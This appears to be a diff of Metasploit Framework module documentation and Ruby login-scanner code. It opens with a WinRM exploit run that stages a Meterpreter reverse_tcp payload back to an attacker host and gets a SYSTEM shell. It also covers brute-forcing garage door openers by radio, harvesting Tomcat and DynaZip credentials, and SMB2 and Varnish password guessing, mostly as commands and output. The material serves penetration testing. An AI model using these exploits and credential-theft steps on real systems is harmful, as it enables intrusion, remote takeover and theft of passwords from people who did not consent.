||||
|
||||
**VBS CmdStager is used for payload delivery here**
|
||||
|
||||
```
|
||||
msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec
|
||||
msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(winrm_script_exec) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(winrm_script_exec) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf exploit(winrm_script_exec) > set LHOST 192.168.198.138
|
||||
LHOST => 192.168.198.138
|
||||
msf exploit(winrm_script_exec) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf exploit(winrm_script_exec) > set RHOST 192.168.198.130
|
||||
RHOST => 192.168.198.130
|
||||
msf exploit(winrm_script_exec) > set FORCE_VBS true
|
||||
FORCE_VBS => true
|
||||
msf exploit(winrm_script_exec) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.198.138:4444
|
||||
[*] User selected the FORCE_VBS option
|
||||
[*] Command Stager progress - 2.01% done (2046/101936 bytes)
|
||||
[*] Command Stager progress - 4.01% done (4092/101936 bytes)
|
||||
[*] Command Stager progress - 6.02% done (6138/101936 bytes)
|
||||
[*] Command Stager progress - 8.03% done (8184/101936 bytes)
|
||||
[*] Command Stager progress - 10.04% done (10230/101936 bytes)
|
||||
[*] Command Stager progress - 12.04% done (12276/101936 bytes)
|
||||
[*] Command Stager progress - 14.05% done (14322/101936 bytes)
|
||||
[*] Command Stager progress - 16.06% done (16368/101936 bytes)
|
||||
[*] Command Stager progress - 18.06% done (18414/101936 bytes)
|
||||
[*] Command Stager progress - 20.07% done (20460/101936 bytes)
|
||||
[*] Command Stager progress - 22.08% done (22506/101936 bytes)
|
||||
[*] Command Stager progress - 24.09% done (24552/101936 bytes)
|
||||
[*] Command Stager progress - 26.09% done (26598/101936 bytes)
|
||||
[*] Command Stager progress - 28.10% done (28644/101936 bytes)
|
||||
[*] Command Stager progress - 30.11% done (30690/101936 bytes)
|
||||
[*] Command Stager progress - 32.11% done (32736/101936 bytes)
|
||||
[*] Command Stager progress - 34.12% done (34782/101936 bytes)
|
||||
[*] Command Stager progress - 36.13% done (36828/101936 bytes)
|
||||
[*] Command Stager progress - 38.14% done (38874/101936 bytes)
|
||||
[*] Command Stager progress - 40.14% done (40920/101936 bytes)
|
||||
[*] Command Stager progress - 42.15% done (42966/101936 bytes)
|
||||
[*] Command Stager progress - 44.16% done (45012/101936 bytes)
|
||||
[*] Command Stager progress - 46.16% done (47058/101936 bytes)
|
||||
[*] Command Stager progress - 48.17% done (49104/101936 bytes)
|
||||
[*] Command Stager progress - 50.18% done (51150/101936 bytes)
|
||||
[*] Command Stager progress - 52.19% done (53196/101936 bytes)
|
||||
[*] Command Stager progress - 54.19% done (55242/101936 bytes)
|
||||
[*] Command Stager progress - 56.20% done (57288/101936 bytes)
|
||||
[*] Command Stager progress - 58.21% done (59334/101936 bytes)
|
||||
[*] Command Stager progress - 60.21% done (61380/101936 bytes)
|
||||
[*] Command Stager progress - 62.22% done (63426/101936 bytes)
|
||||
[*] Command Stager progress - 64.23% done (65472/101936 bytes)
|
||||
[*] Command Stager progress - 66.24% done (67518/101936 bytes)
|
||||
[*] Command Stager progress - 68.24% done (69564/101936 bytes)
|
||||
[*] Command Stager progress - 70.25% done (71610/101936 bytes)
|
||||
[*] Command Stager progress - 72.26% done (73656/101936 bytes)
|
||||
[*] Command Stager progress - 74.26% done (75702/101936 bytes)
|
||||
[*] Command Stager progress - 76.27% done (77748/101936 bytes)
|
||||
[*] Command Stager progress - 78.28% done (79794/101936 bytes)
|
||||
[*] Command Stager progress - 80.29% done (81840/101936 bytes)
|
||||
[*] Command Stager progress - 82.29% done (83886/101936 bytes)
|
||||
[*] Command Stager progress - 84.30% done (85932/101936 bytes)
|
||||
[*] Command Stager progress - 86.31% done (87978/101936 bytes)
|
||||
[*] Command Stager progress - 88.31% done (90024/101936 bytes)
|
||||
[*] Command Stager progress - 90.32% done (92070/101936 bytes)
|
||||
[*] Command Stager progress - 92.33% done (94116/101936 bytes)
|
||||
[*] Command Stager progress - 94.34% done (96162/101936 bytes)
|
||||
[*] Command Stager progress - 96.34% done (98208/101936 bytes)
|
||||
[*] Command Stager progress - 98.35% done (100252/101936 bytes)
|
||||
[*] Sending stage (752128 bytes) to 192.168.198.130
|
||||
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:46:05 +0100
|
||||
[*] Session ID 2 (192.168.198.138:4444 -> 192.168.1.142:49158) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
|
||||
[*] Current server process: mSPvA.exe (3548)
|
||||
[+] Migrating to 580
|
||||
[+] Successfully migrated to process
|
||||
[*] nil
|
||||
[*] Command Stager progress - 100.00% done (101936/101936 bytes)
|
||||
meterpreter > getpid
|
||||
Current pid: 580
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-OPAUFTQFWTB
|
||||
OS : Windows 2008 (Build 6002, Service Pack 2).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,88 @@
|
|||
Port of a brute force utility by LegacySecurityGroup, the original can be found
|
||||
[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
|
||||
It's a generic AM/OOK brute forcer with PWM translations. It has been
|
||||
demonstrated to work against static key garage door openers.
|
||||
|
||||
## Options ##
|
||||
|
||||
**FREQ**
|
||||
|
||||
Frequency to brute force.
|
||||
|
||||
**BAUD**
|
||||
|
||||
Baud rate. Default: 2000
|
||||
|
||||
**BINLENGTH**
|
||||
|
||||
Binary bit-length for bruteforcing. Default: 8
|
||||
|
||||
**REPEAT**
|
||||
|
||||
How many times to repeat the sending of the packet. Default: 5
|
||||
|
||||
**PPAD**
|
||||
|
||||
Binary data to append to packet. (Example: "0101") Default: None
|
||||
|
||||
**TPAD**
|
||||
|
||||
Binary data to add to end of packet. (Example: "0101") Default: None
|
||||
|
||||
**RAW**
|
||||
|
||||
Do not do PWM encoding on packet. Default: False
|
||||
|
||||
**TRI**
|
||||
|
||||
Use trinary signals. Default: False
|
||||
|
||||
**EXTRAVERBOSE**
|
||||
|
||||
Adds some extra status messages.
|
||||
|
||||
**INDEX**
|
||||
|
||||
USB Index number. Default: 0
|
||||
|
||||
**DELAY**
|
||||
|
||||
How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default: 500 (0.5 seconds)
|
||||
|
||||
## Scenarios
|
||||
|
||||
Run a brute force of 6 characters long with 2 repeats:
|
||||
|
||||
```
|
||||
hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2
|
||||
|
||||
[*] Generating de bruijn sequence...
|
||||
[*] Brute forcing frequency: 915000000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000000
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101110
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000000
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101110
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000001
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000001
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111011101000
|
||||
[*] Transmitting...
|
||||
[*] Binary before PWM encoding:
|
||||
[*] 00000010
|
||||
[*] Binary after PWM encoding:
|
||||
[*] 11101110111011101110111010001110
|
||||
[*] Transmitting...
|
||||
...
|
||||
```
|
|
@ -0,0 +1,40 @@
|
|||
Simple module to transmit a given frequency for a specified amount of seconds. This
|
||||
code was ported from [AndrewMohawk](https://github.com/AndrewMohawk).
|
||||
|
||||
NOTE: Users of this module should be aware of their local laws,
|
||||
regulations, and licensing requirements for transmitting on any
|
||||
given radio frequency.
|
||||
|
||||
|
||||
## Options ##
|
||||
|
||||
**FREQ**
|
||||
|
||||
Frequency to brute force.
|
||||
|
||||
**BAUD**
|
||||
|
||||
Baud rate. Default: 4800
|
||||
|
||||
**POWER**
|
||||
|
||||
Power level to specify. Default: 100
|
||||
|
||||
**SECONDS**
|
||||
|
||||
How many seconds to transmit the signal. Default: 4
|
||||
|
||||
**INDEX**
|
||||
|
||||
USB Index number. Default: 0
|
||||
|
||||
## Scenarios
|
||||
|
||||
Transmit a given signal for 4 seconds
|
||||
|
||||
```
|
||||
hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000
|
||||
|
||||
[*] Transmitting on 433880000 for 4 seconds...
|
||||
[*] Finished transmitting
|
||||
```
|
|
@ -0,0 +1,38 @@
|
|||
Actively scans the Zigbee channels by sending a beacon broadcast packet and listening for responses.
|
||||
|
||||
## Options
|
||||
|
||||
**DEVICE**
|
||||
|
||||
ZigBee Device ID. Defaults to the target device that is specified via the target command or if
|
||||
one device is presented when running 'supported_devices' it will use that device.
|
||||
|
||||
**CHANNEL**
|
||||
|
||||
The channel to scan. Setting this options will prevent the stumbler from changing channels. Range is 11-26, inclusive. Default: not set
|
||||
n
|
||||
**LOOP**
|
||||
|
||||
How many times to loop over the channels. Specifying a -1 will loop forever. Default: 1
|
||||
|
||||
**DELAY**
|
||||
|
||||
The delay in seconds to listen to each channel. Default: 2
|
||||
|
||||
## Scenarios
|
||||
|
||||
Scanning channel 11 for other ZigBee devices in the area.
|
||||
|
||||
```
|
||||
hwbridge > run post/hardware/zigbee/zstumbler channel=11
|
||||
|
||||
[*] Scanning Channel 11
|
||||
[*] New Network: PANID: 0x4724 SOURCE: 0x25D5
|
||||
[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise
|
||||
[*] Stack Version: ZigBee 2006/2007
|
||||
[*] Channel: 11
|
||||
[*] New Network: PANID: 0x4724 SOURCE: 0x7DD1
|
||||
[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise
|
||||
[*] Stack Version: ZigBee 2006/2007
|
||||
[*] Channel: 11
|
||||
```
|
|
@ -0,0 +1,100 @@
|
|||
## Creating A Testing Environment
|
||||
|
||||
For this module to work you need a linux or windows machine.
|
||||
|
||||
* For linux you can run something like `apt-get install tomcat7` to get a working tomcat service.
|
||||
* For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service.
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8.
|
||||
2. Windows 10 with tomcat 6, 7.
|
||||
3. Windows XP with tomcat 5.5, 6, 7, 8
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
1. Other versions of linux running tomcat v4-9
|
||||
2. Other version of windows running tomcat v4-9
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Obatin a meterpreter session via whatever method
|
||||
3. Do: `use post/multi/gather/tomcat_gather`
|
||||
4. Do: `set session #`
|
||||
5. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Xubuntu 16.04 with tomcat 7 and 8
|
||||
|
||||
#### Running without read permissions
|
||||
|
||||
msf post(tomcat_gather) > set session 1
|
||||
session => 1
|
||||
msf post(tomcat_gather) > run
|
||||
|
||||
[*] [2017.03.31-10:19:27] Unix OS detected
|
||||
[*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found
|
||||
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1
|
||||
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
|
||||
[*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found
|
||||
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
|
||||
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
|
||||
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
|
||||
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1
|
||||
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed
|
||||
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
|
||||
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
|
||||
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed
|
||||
[*] [2017.03.31-10:19:28] No user credentials have been found
|
||||
[*] Post module execution completed
|
||||
|
||||
#### Running with read permissions
|
||||
|
||||
msf post(tomcat_gather) > set session 2
|
||||
session => 2
|
||||
msf post(tomcat_gather) > run
|
||||
|
||||
[*] [2017.03.31-10:33:14] Unix OS detected
|
||||
[*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found
|
||||
[*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found
|
||||
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
|
||||
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
|
||||
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret
|
||||
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret
|
||||
[*] Post module execution completed
|
||||
|
||||
msf post(tomcat_gather) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
|
||||
|
||||
|
||||
### Windows 10 with tomcat 7
|
||||
|
||||
#### Running with read permissions
|
||||
|
||||
msf post(tomcat_gather) > run
|
||||
|
||||
[*] [2017.03.31-10:43:18] Windows OS detected, enumerating services
|
||||
[+] [2017.03.31-10:43:18] Tomcat service found
|
||||
[*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found!
|
||||
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat
|
||||
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both:<must-be-changed>
|
||||
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1:<must-be-changed>
|
||||
[*] Post module execution completed
|
||||
|
||||
msf post(tomcat_gather) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
10.10.10.6 10.10.10.6 8080/tcp (Tomcat) tomcat2 s3cret Password
|
||||
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) tomcat tomcat Password
|
||||
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) both <must-be-changed> Password
|
||||
10.10.10.7 10.10.10.7 8080/tcp (Tomcat) role1 <must-be-changed> Password
|
|
@ -0,0 +1,143 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This post-exploitation module extracts clear text credentials from dynazip.log.
|
||||
|
||||
The dynazip.log file is located in `%WINDIR%` and contains log entries generated during encryption of Compressed Folders (zip files) in Microsoft® Plus! 98 and Windows® Me. Each log entry contains detailed diagnostic information generated during the encryption process, including the zip file name and the password used to encrypt the zip file in clear text.
|
||||
|
||||
Microsoft released details of the vulnerability in [Microsoft Security Bulletin MS01-019](https://technet.microsoft.com/en-us/library/security/MS01-019) rated as Critical. A patch which disabled use of the log file was also released; however the patch failed to clear the contents of the existing log file.
|
||||
|
||||
Microsoft® Plus! 98 and Windows® Me are no longer supported by Microsoft.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get meterpreter session
|
||||
3. Do: `use post/windows/gather/credentials/dynazip_log`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
6. You should be able to see the extracted credentials in the module output
|
||||
|
||||
|
||||
## Example Run
|
||||
|
||||
**Default Output**
|
||||
|
||||
```
|
||||
msf post(dynazip_log) > exploit
|
||||
|
||||
[+] Found DynaZip log file: C:\WINDOWS\dynazip.log
|
||||
[+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!'
|
||||
[+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8'
|
||||
[+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' '
|
||||
[+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles'
|
||||
|
||||
ZIP Passwords
|
||||
=============
|
||||
|
||||
File Path Password
|
||||
--------- --------
|
||||
C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles
|
||||
C:\WINDOWS\Desktop\private.zip priv8
|
||||
C:\WINDOWS\Desktop\secret.zip my secret password!
|
||||
C:\WINDOWS\Desktop\thepasswordisaspace.zip
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
**Verbose Output**
|
||||
|
||||
```
|
||||
msf post(dynazip_log) > set verbose true
|
||||
verbose => true
|
||||
msf post(dynazip_log) > exploit
|
||||
|
||||
[+] Found DynaZip log file: C:\WINDOWS\dynazip.log
|
||||
[*] Processing log file (6614 bytes)
|
||||
[*] Processing log entry for C:\WINDOWS\Desktop\secret.zip
|
||||
[+] File: 'C:\WINDOWS\Desktop\secret.zip' -- Password: 'my secret password!'
|
||||
[*] Processing log entry for C:\WINDOWS\Desktop\private.zip
|
||||
[+] File: 'C:\WINDOWS\Desktop\private.zip' -- Password: 'priv8'
|
||||
[*] Processing log entry for C:\WINDOWS\Desktop\thepasswordisaspace.zip
|
||||
[+] File: 'C:\WINDOWS\Desktop\thepasswordisaspace.zip' -- Password: ' '
|
||||
[*] Processing log entry for C:\WINDOWS\Desktop\earthbound.zip
|
||||
[+] File: 'C:\WINDOWS\Desktop\earthbound.zip' -- Password: 'fuzzy pickles'
|
||||
[*] Processing log entry for C:\WINDOWS\Desktop\this file is not encrypted.zip
|
||||
[*] Did not find a password
|
||||
|
||||
ZIP Passwords
|
||||
=============
|
||||
|
||||
File Path Password
|
||||
--------- --------
|
||||
C:\WINDOWS\Desktop\earthbound.zip fuzzy pickles
|
||||
C:\WINDOWS\Desktop\private.zip priv8
|
||||
C:\WINDOWS\Desktop\secret.zip my secret password!
|
||||
C:\WINDOWS\Desktop\thepasswordisaspace.zip
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
|
||||
## Example Log Entry
|
||||
|
||||
An example dynazip.log log file entry is shown below:
|
||||
|
||||
```
|
||||
--- DynaZIP ZIP Diagnostic Log - Version: 3.00.16 - 02/22/17 17:01:46 ---
|
||||
Function: 5
|
||||
lpszZIPFile: 0x00437538
|
||||
C:\WINDOWS\Desktop\secret.zip
|
||||
lpszItemList: 0x0059e878
|
||||
"secret.txt"
|
||||
lpMajorStatus: 0x00000000
|
||||
lpMajorUserData: 0x00000000
|
||||
lpMinorStatus: 0x00000000
|
||||
lpMinorUserData: 0x00000000
|
||||
dosifyFlag: 0
|
||||
recurseFlag: 0
|
||||
compFactor: 5
|
||||
quietFlag: 1
|
||||
pathForTempFlag: 0
|
||||
lpszTempPath: 0x00000000
|
||||
???
|
||||
fixFlag: 0
|
||||
fixHarderFlag: 0
|
||||
includeVolumeFlag: 0
|
||||
deleteOriginalFlag: 0
|
||||
growExistingFlag: 0
|
||||
noDirectoryNamesFlag: 0
|
||||
convertLFtoCRLFFlag: 0
|
||||
addCommentFlag: 0
|
||||
lpszComment: 0x00000000
|
||||
???
|
||||
afterDateFlag: 0
|
||||
lpszDate: 0x00000000
|
||||
oldAsLatestFlag: 0
|
||||
includeOnlyFollowingFlag: 0
|
||||
lpszIncludeFollowing: 0x00000000
|
||||
???
|
||||
excludeFollowingFlag: 0
|
||||
lpszExludeFollowing: 0x00000000
|
||||
???
|
||||
noDirectoryEntriesFlag: 0
|
||||
includeSysHiddenFlag: 1
|
||||
dontCompressTheseSuffixesFlag: 0
|
||||
lpszStoreSuffixes: 0x00000000
|
||||
???
|
||||
encryptFlag: 1
|
||||
lpszEncryptCode: 0x712185d4
|
||||
my secret password!
|
||||
lpMessageDisplay: 0x7120ca22
|
||||
lpMessageDisplayData: 0x00000000
|
||||
wMultiVolControl: 0x0000
|
||||
wZipSubOptions: 0x0000
|
||||
lResv1: 0x00000000
|
||||
lResv2: 0x00000000
|
||||
lpszExtProgTitle: 0x00000000
|
||||
???
|
||||
lpRenameProc: 0x71203919
|
||||
lpRenameUserData: 0x0059eb8a
|
||||
lpMemBlock: 0x004e3a0c
|
||||
lMemBlockSize: 6
|
||||
```
|
|
@ -20,6 +20,8 @@ The process will use the Start-Process command of powershell to run a process as
|
|||
- Requires Powershell
|
||||
- Hidden Mode does not work with older powershell versions
|
||||
- Interactive mode needs to be run from a meterpreter console
|
||||
- Certain SYSTEM Services cannot run Start-Process with the -credential switch, causing the module to fail
|
||||
- SYSTEM processes without I/O pipes cannot use interactive mode
|
||||
|
||||
## Examples
|
||||
|
||||
|
|
|
@ -0,0 +1,142 @@
|
|||
require 'metasploit/framework'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'ruby_smb'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with the Server Messaging
|
||||
# Block protocol.
|
||||
class SMB2
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
|
||||
# Constants to be used in {Result#access_level}
|
||||
module AccessLevels
|
||||
# Administrative access. For SMB, this is defined as being
|
||||
# able to successfully Tree Connect to the `ADMIN$` share.
|
||||
# This definition is not without its problems, but suffices to
|
||||
# conclude that such a user will most likely be able to use
|
||||
# psexec.
|
||||
ADMINISTRATOR = "Administrator"
|
||||
# Guest access means our creds were accepted but the logon
|
||||
# session is not associated with a real user account.
|
||||
GUEST = "Guest"
|
||||
end
|
||||
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_REALM = 'WORKSTATION'
|
||||
#LIKELY_PORTS = [ 139, 445 ]
|
||||
#LIKELY_SERVICE_NAMES = [ "smb" ]
|
||||
PRIVATE_TYPES = [ :password, :ntlm_hash ]
|
||||
REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
|
||||
module StatusCodes
|
||||
CORRECT_CREDENTIAL_STATUS_CODES = [
|
||||
"STATUS_ACCOUNT_DISABLED",
|
||||
"STATUS_ACCOUNT_EXPIRED",
|
||||
"STATUS_ACCOUNT_RESTRICTION",
|
||||
"STATUS_INVALID_LOGON_HOURS",
|
||||
"STATUS_INVALID_WORKSTATION",
|
||||
"STATUS_LOGON_TYPE_NOT_GRANTED",
|
||||
"STATUS_PASSWORD_EXPIRED",
|
||||
"STATUS_PASSWORD_MUST_CHANGE",
|
||||
].freeze.map(&:freeze)
|
||||
end
|
||||
|
||||
# @!attribute dispatcher
|
||||
# @return [RubySMB::Dispatcher::Socket]
|
||||
attr_accessor :dispatcher
|
||||
|
||||
# If login is successul and {Result#access_level} is not set
|
||||
# then arbitrary credentials are accepted. If it is set to
|
||||
# Guest, then arbitrary credentials are accepted, but given
|
||||
# Guest permissions.
|
||||
#
|
||||
# @param domain [String] Domain to authenticate against. Use an
|
||||
# empty string for local accounts.
|
||||
# @return [Result]
|
||||
def attempt_bogus_login(domain)
|
||||
if defined?(@result_for_bogus)
|
||||
return @result_for_bogus
|
||||
end
|
||||
cred = Credential.new(
|
||||
public: Rex::Text.rand_text_alpha(8),
|
||||
private: Rex::Text.rand_text_alpha(8),
|
||||
realm: domain
|
||||
)
|
||||
@result_for_bogus = attempt_login(cred)
|
||||
end
|
||||
|
||||
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
|
||||
begin
|
||||
connect
|
||||
rescue ::Rex::ConnectionError => e
|
||||
result = Result.new(
|
||||
credential:credential,
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
|
||||
proof: e,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'smb'
|
||||
)
|
||||
return result
|
||||
end
|
||||
proof = nil
|
||||
|
||||
begin
|
||||
|
||||
realm = credential.realm || ""
|
||||
client = RubySMB::Client.new(self.dispatcher, username: credential.public, password: credential.private, domain: realm)
|
||||
status_code = client.login
|
||||
|
||||
case status_code.name
|
||||
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
|
||||
status = Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
when 'STATUS_SUCCESS'
|
||||
status = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
when 'STATUS_ACCOUNT_LOCKED_OUT'
|
||||
status = Metasploit::Model::Login::Status::LOCKED_OUT
|
||||
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
else
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
rescue ::Rex::ConnectionError => e
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
proof = e
|
||||
end
|
||||
|
||||
result = Result.new(credential: credential, status: status, proof: proof)
|
||||
result.host = host
|
||||
result.port = port
|
||||
result.protocol = 'tcp'
|
||||
result.service_name = 'smb'
|
||||
result
|
||||
end
|
||||
|
||||
def connect
|
||||
disconnect
|
||||
self.sock = super
|
||||
self.dispatcher = RubySMB::Dispatcher::Socket.new(self.sock)
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.connection_timeout = 10 if self.connection_timeout.nil?
|
||||
self.max_send_size = 0 if self.max_send_size.nil?
|
||||
self.send_delay = 0 if self.send_delay.nil?
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/varnish/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with Varnish CLI.
|
||||
|
||||
class VarnishCLI
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
include Metasploit::Framework::Varnish::Client
|
||||
|
||||
DEFAULT_PORT = 6082
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
def attempt_login(credential)
|
||||
begin
|
||||
connect
|
||||
success = login(credential.private)
|
||||
close_session
|
||||
disconnect
|
||||
rescue RuntimeError => e
|
||||
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
|
||||
|
||||
result = Result.new(credential: credential, status: status)
|
||||
result.host = host
|
||||
result.port = port
|
||||
result.protocol = 'tcp'
|
||||
result.service_name = 'varnishcli'
|
||||
result
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -20,6 +20,7 @@ module Metasploit::Framework::Spec::Constants
|
|||
# and not dynamically loaded code
|
||||
PERSISTENT_CHILD_CONSTANT_NAMES = %w{
|
||||
Error
|
||||
External
|
||||
Loader
|
||||
MetasploitClassCompatibilityError
|
||||
Namespace
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Varnish
|
||||
module Client
|
||||
|
||||
@@AUTH_REQUIRED_REGEX = /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required\./ # 107 auth
|
||||
@@AUTH_SUCCESS_REGEX = /200 \d+/ # 200 ok
|
||||
|
||||
def require_auth?
|
||||
# function returns false if no auth is required, else the challenge string
|
||||
res = sock.get_once # varnish can give the challenge on connect, so check if we have it already
|
||||
if res && res =~ @@AUTH_REQUIRED_REGEX
|
||||
return $1
|
||||
end
|
||||
